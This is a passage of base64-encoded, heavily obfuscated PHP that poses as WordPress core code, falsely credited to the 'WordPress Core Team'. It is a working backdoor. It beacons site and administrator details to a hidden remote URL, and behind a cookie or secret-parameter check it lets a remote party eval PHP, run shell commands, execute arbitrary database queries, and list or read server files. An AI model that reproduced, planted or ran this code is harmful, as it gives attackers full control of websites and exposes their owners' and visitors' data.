eDcyIildID0gJF9jYWE0MGQzYzIgLiAnLycgLiAoaXNfYXJyYXkoJHdwX21ldGFfN2E4ZSkgPyBjb3VudCgkd3BfbWV0YV83YThlKSA6IDApOw0KCgkJJF9jZDQxNiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJJF9jODYxZDM5NVsnaGEnXSA9ICFlbXB0eSgkX2NkNDE2KSAmJiB1c2VybmFtZV9leGlzdHMoJF9jZDQxNikgPyB0cnVlIDogZmFsc2U7DQoKCQkkX2NkZmYwID0gZ2V0X3VzZXJzKGFycmF5KCdyb2xlJyA9PiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuIlx4NmQiLmNocigxMDUpLiJceDZlIi4iXHg2OSIuIlx4NzMiLiJceDc0Ii4iXHg3MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg2ZiIuIlx4NzIiKSwgKGZ1bmN0aW9uKCl7JF9jMzgwYjAxYWE9YXJyYXkoODMsOTUsNCw4OSw4Miw3MCk7JF93cGFhOGI1PSc1NmE1Nic7JF9zNjQ1MzZhYjI9Jyc7Zm9yKCRfd3AxZmUwYj0wOyRfd3AxZmUwYjxjb3VudCgkX2MzODBiMDFhYSk7JF93cDFmZTBiKyspJF9zNjQ1MzZhYjIuPWNocigkX2MzODBiMDFhYVskX3dwMWZlMGJdXm9yZCgkX3dwYWE4YjVbJF93cDFmZTBiJXN0cmxlbigkX3dwYWE4YjUpXSkpO3JldHVybiAkX3M2NDUzNmFiMjt9KSgpID0+ICdJRCcpKTsNCgkJJF9jODYxZDM5NVsnYWRtaW5zJ10gPSBjb3VudCgkX2NkZmYwKTsNCgoJCSRfYzRmOGEgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWyd3cF9hY3Rpb25fNzIzZCddLCAnJyk7DQoJCWlmICgkX2M0ZjhhKSB7DQoJCQkkX2NiMDhlID0ganNvbl9kZWNvZGUoJF9jNGY4YSwgdHJ1ZSk7DQoJCQlpZiAoaXNfYXJyYXkoJF9jYjA4ZSkgJiYgIWVtcHR5KCRfY2IwOGVbJ3NsdWcnXSkpIHsNCgkJCQkkd3BfZmlsdGVyXzU3MDAgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jYjA4ZVsnc2x1ZyddIC4gJy8nIC4gKCRfY2IwOGVbJ2ZpbGUnXSA/PyAkX2NiMDhlWydzbHVnJ10gLiAnLnBocCcpOw0KCQkJCSRfYzg2MWQzOTVbJ2JjX3BsdWdpbiddID0gZmlsZV9leGlzdHMoJHdwX2ZpbHRlcl81NzAwKTsNCgkJCQkkX2M4NjFkMzk1WyhjaHIoOTgpLmNocig5OSkuY2hyKDk1KS4iXHg2MiIuY2hyKDE1OCBeIDB4ZmYpLmNocigxNTYgXiAweGZmKS5jaHIoMTQ4IF4gMHhmZikuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIildID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jZGVmMDgnXSwgJycpKSA+IDEwMDsNCgkJCX0NCgkJfQ0KCgkJJF93cGZlNDQ2OSA9IGFycmF5KA0KCQkJKGZ1bmN0aW9uKCl7JHdwX3Nlc3Npb25fNjc5Mj1hcnJheSg1LDkxLDcwLDE1LDkyLDE1KTskX2k5NGFjPSdkODJmM2ExJzskX3dwYWI3OWM2MWQ9Jyc7Zm9yKCR3cF9ob29rXzc3MWE9MDskd3BfaG9va183NzFhPGNvdW50KCR3cF9zZXNzaW9uXzY3OTIpOyR3cF9ob29rXzc3MWErKykkX3dwYWI3OWM2MWQuPWNocigkd3Bfc2Vzc2lvbl82NzkyWyR3cF9ob29rXzc3MWFdXm9yZCgkX2k5NGFjWyR3cF9ob29rXzc3MWElc3RybGVuKCRfaTk0YWMpXSkpO3JldHVybiAkX3dwYWI3OWM2MWQ7fSkoKSA9PiAoY2hyKDE1MSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKS4iXHg2MSIuIlx4NzIiLmNocigxMTYpLmNocig5OCkuY2hyKDEwMSkuIlx4NjEiLiJceDc0IiksDQoJCQknZG9tYWluJyA9PiBmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogKCRfU0VSVkVSWyhmdW5jdGlvbigpeyRfd3AwNWRlPWFycmF5KDQ2LDk3LDk4LDEwMCw1NywxMjUsMTIxLDEwMyw1MCk7JF9jMTQ1YWU5PSdmNTY0JzskX3dwYjVmOTFiZmI9Jyc7Zm9yKCRfd3AyMTlkZjhhPTA7JF93cDIxOWRmOGE8Y291bnQoJF93cDA1ZGUpOyRfd3AyMTlkZjhhKyspJF93cGI1ZjkxYmZiLj1jaHIoJF93cDA1ZGVbJF93cDIxOWRmOGFdXm9yZCgkX2MxNDVhZTlbJF93cDIxOWRmOGElc3RybGVuKCRfYzE0NWFlOSldKSk7cmV0dXJuICRfd3BiNWY5MWJmYjt9KSgpXSA/PyAnJyksDQoJCQkncGFnZScgPT4gJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVceDQ1XHg1M1x4NTRceDVmXHg1NVx4NTJceDQ5Il0gPz8gJy8nLA0KCQkJJ211X3NpemUnID0+ICRfY2RhNWU2LA0KCQkJKGNocigxNDMgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTQxIF4gMHhmZikuY2hyKDExNSkuY2hyKDE1MCBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSkgPT4gJF9jODYxZDM5NSwNCgkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJJ3dwJyA9PiBmdW5jdGlvbl9leGlzdHMoJ2dldF9ibG9naW5mbycpID8gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3A3ZDczZDk9YXJyYXkoNjcsODcsNjQsMTYsODksMTAsODgpOyRfYzgxYjkyMzQ9JzUyMmMwZTZmJzskd3BfdG9rZW5fOGVmYj0nJztmb3IoJF9faG9va18yMWRiPTA7JF9faG9va18yMWRiPGNvdW50KCRfd3A3ZDczZDkpOyRfX2hvb2tfMjFkYisrKSR3cF90b2tlbl84ZWZiLj1jaHIoJF93cDdkNzNkOVskX19ob29rXzIxZGJdXm9yZCgkX2M4MWI5MjM0WyRfX2hvb2tfMjFkYiVzdHJsZW4oJF9jODFiOTIzNCldKSk7cmV0dXJuICR3cF90b2tlbl84ZWZiO30pKCkpIDogJycsDQoJCQkiXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIgPT4gY291bnQoZ2V0X29wdGlvbigoY2hyKDk3KS4iXHg2MyIuY2hyKDExNikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTgpLmNocigxMDEpLmNocigxNjAgXiAweGZmKS4iXHg3MCIuIlx4NmMiLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpKSwgYXJyYXkoKSkpLA0KCQkJJ3RzJyA9PiB0aW1lKCksDQoJCSk7DQoKCQkkX2k2M2JkOTUgPSBqc29uX2VuY29kZSgkX3dwZmU0NDY5KTsNCgkJJF9jZmcyMDk2NTk2ID0gKGNocigxNTEgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTM5IF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDAgXiAweGZmKS5jaHIoMTk3IF4gMHhmZikuIlx4MmYiLmNocig0NykuY2hyKDk4KS5jaHIoMTE3KS5jaHIoMTE0KS4iXHg3NSIuIlx4NmUiLmNocigxMDApLmNocigxMTcpLmNocigxNDggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExNCkuY2hyKDk3KS5jaHIoOTkpLiJceDZiIi4iXHg2NSIuIlx4NzIiLmNocigyMDkgXiAweGZmKS5jaHIoMTIwKS5jaHIoMTIxKS4iXHg3YSIuIlx4MmYiLiJceDYyIi4iXHg2NSIuY2hyKDE1OCBeIDB4ZmYpLiJceDYzIi5jaHIoMTExKS4iXHg2ZSIuIlx4MmYiKTsNCgkJaWYgKGVtcHR5KCRfY2ZnMjA5NjU5NikpIHJldHVybjsNCgoJCWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9vZWRkODY4PWFycmF5KDY2LDcwLDYyLDY3LDg3LDgsOTAsNjYsNCwxMTAsNjYsMTAsNzAsNjYpOyRfY2IxOWVlPSc1NmExMmUnOyR3cF90b2tlbl8zMDExPScnO2ZvcigkX19jZmdfZGUyZD0wOyRfX2NmZ19kZTJkPGNvdW50KCRfb2VkZDg2OCk7JF9fY2ZnX2RlMmQrKykkd3BfdG9rZW5fMzAxMS49Y2hyKCRfb2VkZDg2OFskX19jZmdfZGUyZF1eb3JkKCRfY2IxOWVlWyRfX2NmZ19kZTJkJXN0cmxlbigkX2NiMTllZSldKSk7cmV0dXJuICR3cF90b2tlbl8zMDExO30pKCkpKSB7DQoJCQl3cF9yZW1vdGVfcG9zdCgkX2NmZzIwOTY1OTYsIGFycmF5KA0KCQkJCShmdW5jdGlvbigpeyRfYzZmNjAxNDg9YXJyYXkoODEsODgsODQsNzYpOyRfdmNmODk5NTE0PSczNzA1NDZmYyc7JHdwX2ZpbHRlcl9mNTk0PScnO2ZvcigkX2MzNmYxOTg9MDskX2MzNmYxOTg8Y291bnQoJF9jNmY2MDE0OCk7JF9jMzZmMTk4KyspJHdwX2ZpbHRlcl9mNTk0Lj1jaHIoJF9jNmY2MDE0OFskX2MzNmYxOThdXm9yZCgkX3ZjZjg5OTUxNFskX2MzNmYxOTglc3RybGVuKCRfdmNmODk5NTE0KV0pKTtyZXR1cm4gJHdwX2ZpbHRlcl9mNTk0O30pKCkgPT4gJF9pNjNiZDk1LA0KCQkJCShmdW5jdGlvbigpeyRfY2Y4ZDQ4MT1hcnJheSg5Myw5Miw4NSw5Myw4NywyMCw3MCk7JF9jYzc3ZDc9JzU5NDkyZjUnOyRfY2NiYmIxPScnO2ZvcigkX3dwNjhmMmQ9MDskX3dwNjhmMmQ8Y291bnQoJF9jZjhkNDgxKTskX3dwNjhmMmQrKykkX2NjYmJiMS49Y2hyKCRfY2Y4ZDQ4MVskX3dwNjhmMmRdXm9yZCgkX2NjNzdkN1skX3dwNjhmMmQlc3RybGVuKCRfY2M3N2Q3KV0pKTtyZXR1cm4gJF9jY2JiYjE7fSkoKSA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAiXHg2MVx4NzBceDcwXHg2Y1x4NjlceDYzXHg2MVx4NzRceDY5XHg2Zlx4NmVceDJmXHg2YVx4NzNceDZmXHg2ZSIpLA0KCQkJCSd0aW1lb3V0JyA9PiAzLA0KCQkJCSdibG9ja2luZycgPT4gZmFsc2UsDQoJCQkJKGNocigxNDAgXiAweGZmKS5jaHIoMTE1KS5jaHIoMTA4KS5jaHIoMTE4KS5jaHIoMTAxKS5jaHIoMTE0KS5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMikuY2hyKDEyMSkpID0+IGZhbHNlLA0KCQkJKSk7DQoJCX0gZWxzZSB7DQoJCQkkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCdodHRwJyA9PiBhcnJheSgNCgkJCQknbWV0aG9kJyA9PiAnUE9TVCcsDQoJCQkJJ2hlYWRlcicgPT4gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvblxyXG4iLA0KCQkJCShmdW5jdGlvbigpeyRfY2M5MjIwYT1hcnJheSg4NSwxMiw4LDIxLDgzLDEzLDE4KTskX285MmQ5MTQ1PSc2Y2ZhJzskX3g2ZTRjYjFmPScnO2ZvcigkX19ob29rXzAwOGI9MDskX19ob29rXzAwOGI8Y291bnQoJF9jYzkyMjBhKTskX19ob29rXzAwOGIrKykkX3g2ZTRjYjFmLj1jaHIoJF9jYzkyMjBhWyRfX2hvb2tfMDA4Yl1eb3JkKCRfbzkyZDkxNDVbJF9faG9va18wMDhiJXN0cmxlbigkX285MmQ5MTQ1KV0pKTtyZXR1cm4gJF94NmU0Y2IxZjt9KSgpID0+ICRfaTYzYmQ5NSwNCgkJCQkiXHg3NFx4NjlceDZkXHg2NVx4NmZceDc1XHg3NCIgPT4gMywNCgkJCSkpKTsNCgkJCUAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbnRlJy4nbnRzJykoJF9jZmcyMDk2NTk2LCBmYWxzZSwgJGN0eCk7DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZTVhNSkge30NCn0pOw0KfSkoKTsKCmZ1bmN0aW9uIF9fY2FjaGVfMGRkZCgkd3BfYWN0aW9uXzg3MjI9JycsJF93cDEwNjA9JycsJF93cGIyYTZjN2NjPScnKXsKJHdwX21ldGFfZWViYSA9IDkyMTc7IHJldHVybiAkd3BfbWV0YV9lZWJhOwp9CgpmdW5jdGlvbiBfY2NhZmJkOWU3KCRfY2M4ZDc0ZTU9JycpewokX3dwMzE1NWVjNmUgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfd3AzMTU1ZWM2ZSkpIHsgcmV0dXJuIHN0cmxlbigkX3dwMzE1NWVjNmUpOyB9IHJldHVybiBudWxsOwp9Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDEuNC4yMAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX2MwNmJiZDA2YSA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiRfYzQ3Njc3MjggPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfX3Byb2NfN2JiMyA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9fcHJvY19lODNkID0gJEdMT0JBTFNbJ19oNzdmNSddOw0KCQkkd3BfcXVlcnlfYTM3ZSA9IGZhbHNlOw0KCgkJaWYgKGlzc2V0KCRfQ09PS0lFWyJceDc3XHg3MFx4NWZceDYzXHg2MVx4NjNceDY4XHg2NVx4NWZceDc0XHg2Zlx4NmJceDY1XHg2ZSJdKSkgew0KCQkJJF9oOGVhMmEgPSBmbG9vcih0aW1lKCkgLyAzNjAwKTsNCgkJCSRfX2hvb2tfNmQyOCA9IGhhc2goJ3NoYTI1NicsICRfX3Byb2NfZTgzZCAuICRfaDhlYTJhKTsNCgkJCSRfY2ZnNzJkZjQ3MWEgPSBoYXNoKCJceDczXHg2OFx4NjFceDMyXHgzNVx4MzYiLCAkX19wcm9jX2U4M2QgLiAoJF9oOGVhMmEgLSAxKSk7DQoJCQlpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfX2hvb2tfNmQyOCB8fCAkX0NPT0tJRVsnd3BfY2FjaGVfdG9rZW4nXSA9PT0gJF9jZmc3MmRmNDcxYSkgew0KCQkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJCX0NCgkJfQ0KCgkJJHdwX3Nlc3Npb25fY2NhYyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoJCWlmICghJHdwX3F1ZXJ5X2EzN2UgJiYgaXNzZXQoJF9HRVRbJHdwX3Nlc3Npb25fY2NhY10pICYmICRfR0VUWyR3cF9zZXNzaW9uX2NjYWNdID09PSBzdWJzdHIoJF9fcHJvY19lODNkLCAwLCAxNikpIHsNCgkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJfQ0KCgkJaWYgKCEkd3BfcXVlcnlfYTM3ZSkgcmV0dXJuOw0KCgkJJF93cDcyMDdhN2QgPSBpc3NldCgkX0dFVFsoIlx4NmQiLmNocigxMTEpLmNocigxNTUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpXSkgPyAkX0dFVFsnbW9kZSddIDogKGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsoY2hyKDEwOSkuY2hyKDExMSkuIlx4NjQiLmNocigxNTQgXiAweGZmKSldIDogJycpOw0KCQlpZiAoZW1wdHkoJF93cDcyMDdhN2QpKSAkX3dwNzIwN2E3ZCA9ICdzJzsNCgoJCXN3aXRjaCAoJF93cDcyMDdhN2QpIHsNCgkJCWNhc2UgJ3MnOg0KCQkJCSRfX3Byb2NfMWRjYyA9IF9oNmYwMygpOw0KCQkJCSR3cF9vcHRpb25fOTE4ZCA9IGFycmF5KA0KCQkJCQknb2snID0+IHRydWUsDQoJCQkJCSd2JyA9PiAyLA0KCQkJCQkiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCgkJCQkJJ3dwJyA9PiBnZXRfYmxvZ2luZm8oKGNocigxMzcgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLiJceDczIi5jaHIoMTA1KS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKSwNCgkJCQkJJ211JyA9PiBmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpLA0KCQkJCQkiXHg3M1x4NjlceDdhXHg2NSIgPT4gZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwLA0KCQkJCQkndHMnID0+IHRpbWUoKSwNCgkJCQkpOw0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQoJCQkJZWNobyBqc29uX2VuY29kZSgkd3Bfb3B0aW9uXzkxOGQpOw0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAoY2hyKDExMikuIlx4NjgiLiJceDcwIik6DQoJCQkJJHdwX3Nlc3Npb25fMjU5YiA9IGlzc2V0KCRfUE9TVFsnY29kZSddKSA/IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2NvZGUnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fMjU5YikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdubyBjb2RlJykpOyBleGl0OyB9DQoJCQkJb2Jfc3RhcnQoKTsNCgkJCQl0cnkgew0KCQkJCQlldmFsKCR3cF9zZXNzaW9uXzI1OWIpOw0KCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkgew0KCQkJCQllY2hvICdFcnJvcjogJyAuICR3cF9tZXRhXzI4OTUtPmdldE1lc3NhZ2UoKTsNCgkJCQl9DQoJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQllY2hvICRfZjViMjdhZjsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgKGZ1bmN0aW9uKCl7JF9jYTZiYmJkYmI9YXJyYXkoMTcsOTAsOTIsOTMsODUpOyRfd3AyZDBhOGVlNT0nYjI5MTk3JzskX2Y1YTBmYjIzYj0nJztmb3IoJF93cDgwOTM4ZWY9MDskX3dwODA5MzhlZjxjb3VudCgkX2NhNmJiYmRiYik7JF93cDgwOTM4ZWYrKykkX2Y1YTBmYjIzYi49Y2hyKCRfY2E2YmJiZGJiWyRfd3A4MDkzOGVmXV5vcmQoJF93cDJkMGE4ZWU1WyRfd3A4MDkzOGVmJXN0cmxlbigkX3dwMmQwYThlZTUpXSkpO3JldHVybiAkX2Y1YTBmYjIzYjt9KSgpOg0KCQkJCSRfY2QwNDQgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJF9jZDA0NCkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICdubyBjbWQnKSk7IGV4aXQ7IH0NCgkJCQkkX2Y1YjI3YWYgPSAnJzsNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyRfd3BiMDU4ZjdlPWFycmF5KDY1LDkzLDMsOTUsOTIsNjIsODcsNzcsMyw4MCk7JF9jMWY2ODhmPScyNWYzMGEnOyRfX2NmZ180YWFiPScnO2ZvcigkX2NhZWM0ZjRiPTA7JF9jYWVjNGY0Yjxjb3VudCgkX3dwYjA1OGY3ZSk7JF9jYWVjNGY0YisrKSRfX2NmZ180YWFiLj1jaHIoJF93cGIwNThmN2VbJF9jYWVjNGY0Yl1eb3JkKCRfYzFmNjg4ZlskX2NhZWM0ZjRiJXN0cmxlbigkX2MxZjY4OGYpXSkpO3JldHVybiAkX19jZmdfNGFhYjt9KSgpKSkgew0KCQkJCQkkX2Y1YjI3YWYgPSBAKCdzaCcuJ2VsbF8nLidleCcuJ2VjJykoJF9jZDA0NCAuICcgMj4mMScpOw0KCQkJCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9yMTA4YmIyPWFycmF5KDgzLDI5LDMsODEpOyR3cF9hY3Rpb25fOTQzNj0nNmVmMmU4ZTInOyRfYzY5NDg3Yzg3PScnO2ZvcigkX3NkNjU5PTA7JF9zZDY1OTxjb3VudCgkX3IxMDhiYjIpOyRfc2Q2NTkrKykkX2M2OTQ4N2M4Ny49Y2hyKCRfcjEwOGJiMlskX3NkNjU5XV5vcmQoJHdwX2FjdGlvbl85NDM2WyRfc2Q2NTklc3RybGVuKCR3cF9hY3Rpb25fOTQzNildKSk7cmV0dXJuICRfYzY5NDg3Yzg3O30pKCkpKSB7DQoJCQkJCUAoJ2V4Jy4nZWMnKSgkX2NkMDQ0IC4gJyAyPiYxJywgJF9fY2FjaGVfYjdkYSk7DQoJCQkJCSRfZjViMjdhZiA9IGltcGxvZGUoIlxuIiwgJF9fY2FjaGVfYjdkYSk7DQoJCQkJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygoY2hyKDExNSkuY2hyKDEyMSkuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCUAoJ3N5Jy4nc3RlbScpKCRfY2QwNDQgLiAnIDI+JjEnKTsNCgkJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJfQ0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQoJCQkJZWNobyAkX2Y1YjI3YWY7DQoJCQkJZXhpdDsNCgoJCQljYXNlICdkYic6DQoJCQkJJF9jYWQzYWFhNTQgPSBpc3NldCgkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0pID8gJF9QT1NUWydxdWVyeSddIDogJyc7DQoJCQkJaWYgKGVtcHR5KCRfY2FkM2FhYTU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfX2RhdGFfMGU0NT1hcnJheSg4MSw3MCw3NCwxMSwyMik7JHdwX3F1ZXJ5XzJjZmI9JzQ0OGRkMmQ1JzskX3BhNWE3PScnO2ZvcigkX19idWZfMDRkYT0wOyRfX2J1Zl8wNGRhPGNvdW50KCRfX2RhdGFfMGU0NSk7JF9fYnVmXzA0ZGErKykkX3BhNWE3Lj1jaHIoJF9fZGF0YV8wZTQ1WyRfX2J1Zl8wNGRhXV5vcmQoJHdwX3F1ZXJ5XzJjZmJbJF9fYnVmXzA0ZGElc3RybGVuKCR3cF9xdWVyeV8yY2ZiKV0pKTtyZXR1cm4gJF9wYTVhNzt9KSgpID0+ICdubyBxdWVyeScpKTsgZXhpdDsgfQ0KCQkJCWdsb2JhbCAkd3BkYjsNCgkJCQlpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gKGNocigxMTApLmNocigxNDQgXiAweGZmKS5jaHIoMzIpLmNocigxMTkpLmNocigxMTIpLmNocigxMDApLmNocigxNTcgXiAweGZmKSkpKTsgZXhpdDsgfQ0KCQkJCSRfX2hvb2tfYzFmMSA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NhZDNhYWE1NCwgQVJSQVlfQSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX19ob29rX2MxZjEsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgJ2ZpbGVzJzoNCgkJCQkkX3dwZDU0YTE0MTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF93cGY4NWU9YXJyYXkoNSw2LDc2LDkwLDkxLDkyKTskX19pbml0XzhmYjk9J2RlODM0MmJiJzskX3Y5NWZmOTdhPScnO2Zvcigkd3BfdG9rZW5fNjUwYT0wOyR3cF90b2tlbl82NTBhPGNvdW50KCRfd3BmODVlKTskd3BfdG9rZW5fNjUwYSsrKSRfdjk1ZmY5N2EuPWNocigkX3dwZjg1ZVskd3BfdG9rZW5fNjUwYV1eb3JkKCRfX2luaXRfOGZiOVskd3BfdG9rZW5fNjUwYSVzdHJsZW4oJF9faW5pdF84ZmI5KV0pKTtyZXR1cm4gJF92OTVmZjk3YTt9KSgpXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogKGNocigxMDgpLmNocigxMDUpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSk7DQoJCQkJJF9pMjEyZmM4ZGMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9xYjMwNTU9YXJyYXkoMjAsODYsNzEsOTMpOyRfd3A1ZDMyZTM5PSdkNzM1NjgnOyRfd3AxNTllNTE1PScnO2ZvcigkX3dwMmY1MD0wOyRfd3AyZjUwPGNvdW50KCRfcWIzMDU1KTskX3dwMmY1MCsrKSRfd3AxNTllNTE1Lj1jaHIoJF9xYjMwNTVbJF93cDJmNTBdXm9yZCgkX3dwNWQzMmUzOVskX3dwMmY1MCVzdHJsZW4oJF93cDVkMzJlMzkpXSkpO3JldHVybiAkX3dwMTU5ZTUxNTt9KSgpXSkgPyAkX1BPU1RbJ3BhdGgnXSA6IEFCU1BBVEg7DQoJCQkJaWYgKCRfd3BkNTRhMTQxMSA9PT0gJ2xpc3QnKSB7DQoJCQkJCSR3cF90b2tlbl9jMjIyID0gQHNjYW5kaXIoJF9pMjEyZmM4ZGMpOw0KCQkJCQkkX2NjZGQ0ID0gYXJyYXkoKTsNCgkJCQkJaWYgKCR3cF90b2tlbl9jMjIyKSB7DQoJCQkJCQlmb3JlYWNoICgkd3BfdG9rZW5fYzIyMiBhcyAkX3dwNmJjMSkgew0KCQkJCQkJCWlmICgkX3dwNmJjMSA9PT0gJy4nIHx8ICRfd3A2YmMxID09PSAnLi4nKSBjb250aW51ZTsNCgkJCQkJCQkkd3BfY2FjaGVfMDcxMiA9ICRfaTIxMmZjOGRjIC4gJy8nIC4gJF93cDZiYzE7DQoJCQkJCQkJJF9jY2RkNFtdID0gYXJyYXkoJ25hbWUnID0+ICRfd3A2YmMxLCAnZGlyJyA9PiBpc19kaXIoJHdwX2NhY2hlXzA3MTIpLCAnc2l6ZScgPT4gaXNfZmlsZSgkd3BfY2FjaGVfMDcxMikgPyBmaWxlc2l6ZSgkd3BfY2FjaGVfMDcxMikgOiAwLCAnbXRpbWUnID0+IGZpbGVtdGltZSgkd3BfY2FjaGVfMDcxMikpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi4iXHg3NCIuY2hyKDEwMSkuIlx4NmUiLmNocigxMTYpLmNocigyMTAgXiAweGZmKS5jaHIoODQpLmNocigxMjEpLmNocigxMTIpLmNocigxMDEpLiJceDNhIi5jaHIoMzIpLmNocigxNTggXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDcgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NjMiLmNocig5NykuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHgyZiIuIlx4NmEiLmNocigxNDAgXiAweGZmKS4iXHg2ZiIuIlx4NmUiKSk7DQoJCQkJCWVjaG8ganNvbl9lbmNvZGUoJF9jY2RkNCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxNDEgXiAweGZmKS5jaHIoMTAxKS4iXHg2MSIuY2hyKDEwMCkpKSB7DQoJCQkJCSRfdDA2ZTcxMzIgPSBAKCdmaWwnLidlXycuJ2dldCcuJ19jJy4nb250Jy4nZW4nLid0cycpKCRfaTIxMmZjOGRjKTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQkJZWNobyAkX3QwNmU3MTMyICE9PSBmYWxzZSA/ICRfdDA2ZTcxMzIgOiAoZnVuY3Rpb24oKXskX19vcHRfZTdlNj1hcnJheSgxMjUsMTA2LDk3LDEyNCw5Nyw4LDI0LDk